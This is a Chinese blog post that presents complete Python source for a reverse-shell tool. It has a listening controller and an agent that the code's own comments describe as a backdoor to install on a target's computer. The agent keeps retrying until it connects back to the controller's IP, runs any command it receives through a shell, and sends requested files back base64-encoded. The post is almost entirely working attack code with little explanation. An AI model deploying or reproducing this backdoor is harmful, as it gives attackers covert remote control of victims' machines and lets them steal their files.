首页 > 系统相关 >利用Python的JSON以及Base64模块实现二进制文件传输及反向Shell

利用Python的JSON以及Base64模块实现二进制文件传输及反向Shell

时间:2023-07-16 13:11:57浏览次数:43  
标签:Shell socket Python recv self 文件传输 client data port

控制端代码:

import socket
import optparse
import sys
import threading
import json
import base64

class MyTCPServer:
    def __init__(self) -> None:
        self.port = self.get_param()
        try:
            self.s_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            self.s_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
            # self.s_socket.bind(('0.0.0.0', self.port))
            self.s_socket.bind(('0.0.0.0', self.port))
            self.s_socket.listen(5)
            print("[+] Start listening on the port %d" % self.port)
        except Exception as e:
            print("[-] Failed to create listener: %s" % e)
            sys.exit()

    def get_param(self):
        parser = optparse.OptionParser('./%s -p port' % sys.argv[0])
        parser.add_option('-p', '--port', dest='port', type='int', help='Specify port number')
        options, args = parser.parse_args()
        if options.port is None:
            print("[-] Specify port first")
            sys.exit()
        return options.port
    
    def reliable_send(self,client_socket,data):
        client_socket.send(json.dumps(data).encode('utf-8'))
    
    def reliable_recv(self,client_socket):
        data = ""
        
        while True:
            try:
                recv_data = client_socket.recv(1024)               
                data = data + recv_data.decode('utf-8')
                return json.loads(data)

            except ValueError:
                continue
    
    def download_file(self, client_socket,file_path):
        """
        Receive data from agent and write into the file with the same filename
        """
     
        recv_data = self.reliable_recv(client_socket)
        if recv_data.strip() == 'no file':
            print("No such file in the current directory")
        else:
            """
            Very import to encode here, otherwise b64decode method will output wrong result
            """
            recv_data_2 = recv_data.encode('ascii')          
            write_data = base64.b64decode(recv_data_2)          
            with open(file_path, 'wb') as f:
                f.write(base64.b64decode(recv_data_2))       
            print('Downloaded successfully')



    def client_handler(self, client_socket, client_address):
        print("[+] Connected from :%s" % str(client_address))
        while True:
            command = input("%s~ " % client_address[0])
            if command == 'q':
                break
            if command == '':
                continue
            if command.startswith('cd'):
                self.reliable_send(client_socket,command)
                recv_data = self.reliable_recv(client_socket)
                print(recv_data)
                continue
            if command.startswith('download'):
                print('Begin to download file...')
                self.reliable_send(client_socket,command)
                file_path = command.split()[1]
                self.download_file(client_socket, file_path)
                continue

           
            self.reliable_send(client_socket,command)         
            recv_data = self.reliable_recv(client_socket)          
            print(recv_data)
        
        client_socket.close()


    def run(self):
        try:
            while True:
                client_socket, client_address = self.s_socket.accept()
                t = threading.Thread(target=self.client_handler, args=(client_socket, client_address))
                t.start()

        except KeyboardInterrupt:
            print("[-] Exit the program now")
            sys.exit()
        except Exception as e:
            print("[-] Something is wrong: %s" % e)
            sys.exit()


if __name__ == '__main__':
    server = MyTCPServer()
    server.run()

 

 

被控制端代码:

import socket
import optparse
import sys
import subprocess
import json
import os
import base64
import time

"""
    This code is for agent which can be installed into the target's machine. The code can act as backdoor which can get the command from controller 
    or hacker and reply back the results to the controller.
"""

class MyTCPClient:
    def __init__(self) -> None:
        """
            target: IP address of controller or hacker
            port: port which can be used to connect to 
        """

        self.target = self.get_param()[0]
        self.port = self.get_param()[1]
        try:
            self.client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            while True:
                try:
                    self.client_socket.connect((self.target, self.port))
                    break
                except:
                    time.sleep(2)


        except Exception as e:
            print("[-] Failed to connect to target: %s" % e)
            sys.exit()


    def get_param(self):
        parser = optparse.OptionParser('./%s -t target ip address -p port' % sys.argv[0])
        parser.add_option('-t', '--target',  dest='target', type='string', help='Specify IP addresss to connect to')
        parser.add_option('-p', '--port', dest='port', type='int', help='Specify port number')
        options, args = parser.parse_args()
        if options.target is None or options.port is None:
            print(parser.usage)
            sys.exit()
        return options.target, options.port
    
    def reliable_send(self,data):
        """
            convert to JSON data before sending to the destination
        """

        self.client_socket.send(json.dumps(data).encode('utf-8'))
    
    def reliable_recv(self):
        data = ""
        while True:
            try:
                recv_data = self.client_socket.recv(1024)
                data = data + recv_data.decode('utf-8')
                return json.loads(data)
                """
                Try to convert back to the orgininal data, catch the eror when the received data is incomplete and contitue to receive data from peer
                """

            except ValueError:
                continue
    
    def download_file(self,file_path):
                
        if not os.path.exists(file_path):
            """
            If the requested file is not existent on the agent's computer, then reply back the result of 'no file'
            """
            res = 'no file'
            self.reliable_send(res)

        else:      
            with open(file_path, 'rb') as f:
                """
                Very important to decode bytes data before sending to the peer, otherwise the controller can't get the file properly
                """
                send_data = base64.b64encode(f.read()).decode('ascii')
                self.reliable_send(send_data)

    def run(self):
        while True:
            # command = self.client_socket.recv(1024).decode('utf-8')
            command = self.reliable_recv()
            res = ""
            print(command)
            if command == 'q':
                break
            if command == '':
                continue
            if command.startswith('cd'):
                cd_path = command.split()[1]
                if not os.path.exists(cd_path):
                    res = 'No such directory to navigate'
                    self.reliable_send(res)
                     
                    continue
                
                else:
                    os.chdir(cd_path)
                    res = 'Changed successfully'
                    self.reliable_send(res)
                    continue    
            if command.startswith('download'):
                print("Begin to download")
                file_path = command.split()[1]
                self.download_file(file_path)
                continue
            try:
                result = subprocess.run(command, shell=True, capture_output=True)
                if len(result.stderr) == 0:
                    res = result.stdout.decode('utf-8')
                else:
                    res = result.stderr.decode('utf-8')
                
            except Exception as e:
                res = 'Failed to execute command'
                print('Failed to execute: %s' % e)
                
            
            print(res)
        
            # self.client_socket.send(res)
            self.reliable_send(res)
        self.client_socket.close()

if __name__ == '__main__':
    client = MyTCPClient()
    client.run()

 

标签:Shell,socket,Python,recv,self,文件传输,client,data,port
From: https://www.cnblogs.com/jason-huawen/p/17557721.html

相关文章

  • python通过Websocket与html主动通讯
    python通过Websocket与html主动通讯导语:在Web开发中,实现实时通信是一项常见的需求。本文将介绍如何使用Python和WebSocket技术实现与HTML页面的实时通信,以显示当前的实时时间。1.WebSocket简介WebSocket是一种全双工通信协议,允许在客户端和服务器之间建立持久连接,实现实时数据......
  • pytorch使用(三)用PIL(Python-Imaging)反转图像的颜色
    1.多数情况下就用这个,不行再看下面的fromPILimportImageimportPIL.ImageOps#读入图片image=Image.open('your_image.png')#反转inverted_image=PIL.ImageOps.invert(image)#保存图片inverted_image.save('new_name.png')2.如果图像是RGBA透明的,参考如下代码......
  • pytorch使用(二)python读取图片各点灰度值or怎么读、转换灰度图
    python读取图片各点灰度值方法一:在使用OpenCV读取图片的同时将图片转换为灰度图:img=cv2.imread(imgfile,cv2.IMREAD_GRAYSCALE)print("cv2.imread(imgfile,cv2.IMREAD_GRAYSCALE)结果如下:")print('大小:{}'.format(img.shape))print("类型:%s"%type(img))print(img)......
  • Python教程(4)——Python开发工具PyCharm的下载与安装
    PyCharm是一种专业的Python集成开发环境(IDE),由JetBrains公司开发和维护。它提供了丰富的功能和工具,帮助开发人员更高效地编写、调试和测试Python代码。如果是一些大型Python项目强烈推荐用这个来开发。今天我们来介绍一下PyCharm的下载与安装。PyCharm的下与载安装首先需要到PyCh......
  • linux下使用VI/VIM编辑器完成文本编辑工作(finalshell远程操控linux)
    VI是命令行下对文本进行编辑的最佳选择VIM是VI的加强版,兼容VI的所有指令,不仅能编辑文本,还具有shell程序编辑的功能,可以使用不同颜色的文体来辨别语法的正确性1.vi/vim编辑器的工作模式命令模式:此模式下敲出来的内容理解为命令,以命令驱动功能,此模型下,不能自由编辑文本输入模式......
  • Python的多线程(threading)与多进程(multiprocessing )
    可以用来做后台任务,可以在djangoview中调用,当做异步任务考核系统中要的threading,用来异步考核结果和考核进度的统计Python的多线程(threading)与多进程(multiprocessing)......
  • python: thread
     defdance():for_inrange(3):print("dancd")time.sleep(1)defsing():for_inrange(3):print("sing")time.sleep(1)defdance(n):for_inrange(n):print("dancd")......
  • python3: pip3 网络源配置
    python3:pip3网络源配置    一、pip3网络源配置 1、没有的路径、文件,要自己建立。[[email protected]]$cd~/.pip[[email protected]]$[[email protected]]$[[email protected]]$lspip.conf[[email protected]]$[[email protected]]$[[email protected]]$catpip.conf[global]index-ur......
  • Python学习3
    Python学习11Python列表11.1Python集合(数组)Python编程语言中有四种集合数据类型:列表(List)是一种有序和可更改的集合。允许重复的成员。元组(Tuple)是一种有序且不可更改的集合。允许重复的成员。集合(Set)是一个无序和无索引的集合。没有重复的成员。词典(Dictionary)是......
  • python魔术方法类构建篇
    本篇章的很多魔术方法都是跟class的建立有关的4,类构建篇__init_subclass____set_name____class_getitem__和__mro_entries____prepare____instancecheck__和__subclasscheck__ __init_subclass__方法__init_subclass__这个方法你要定义在基类里面,然后当你以这个类为基......